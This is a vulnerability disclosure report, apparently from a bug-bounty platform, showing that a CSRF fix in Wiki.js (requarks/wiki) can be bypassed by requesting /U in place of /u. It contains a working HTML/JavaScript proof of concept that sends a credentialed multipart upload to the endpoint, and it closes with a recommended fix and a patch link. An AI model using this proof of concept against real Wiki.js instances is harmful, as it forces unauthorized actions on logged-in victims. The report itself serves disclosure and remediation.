Cross-Site Request Forgery (CSRF) in requarks/wiki
Reported on
Jan 24th 2022
Note:
Not a vulnerability in ExpressJS
Description
Fix can by bypassed. Express treats routes as case insensitive while req.path is case sensitive. The fix in the previous report was to check if req.path === "/u" https://github.com/Requarks/wiki/blob/a04f7bd650c55d9f6e82f8df93f6fc590db326c7/server/helpers/security.js#L35 and only allow the requests with the Authorization header pass through if that is the case
if (req.path === '/u') {
However, it is possible to bypass this check using /U, which Express will treat it as /u route. As such, it is still possible to make a POST request to the /u endpoint with the Cookie header leaving wikijs vulnerable to CSRF
Proof of Concept
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:3000/U", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"mediaUpload\"\r\n" +
"\r\n" + "{\"folderId\":0}" +
"\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"mediaUpload\"; ; filename=\"pwned.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"[DATA-HERE]" + "\r\n" +
"-----------------------------256672629917035--\r\n"
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>
Impact
As per previous report
Recommended Fix
Convert req.path to lower case before comparison
Occurrences
Patch: https://github.com/Haxatron/wiki/commit/8e8ad0339b73ab19066ef10bc1bf9964c9b2c2aa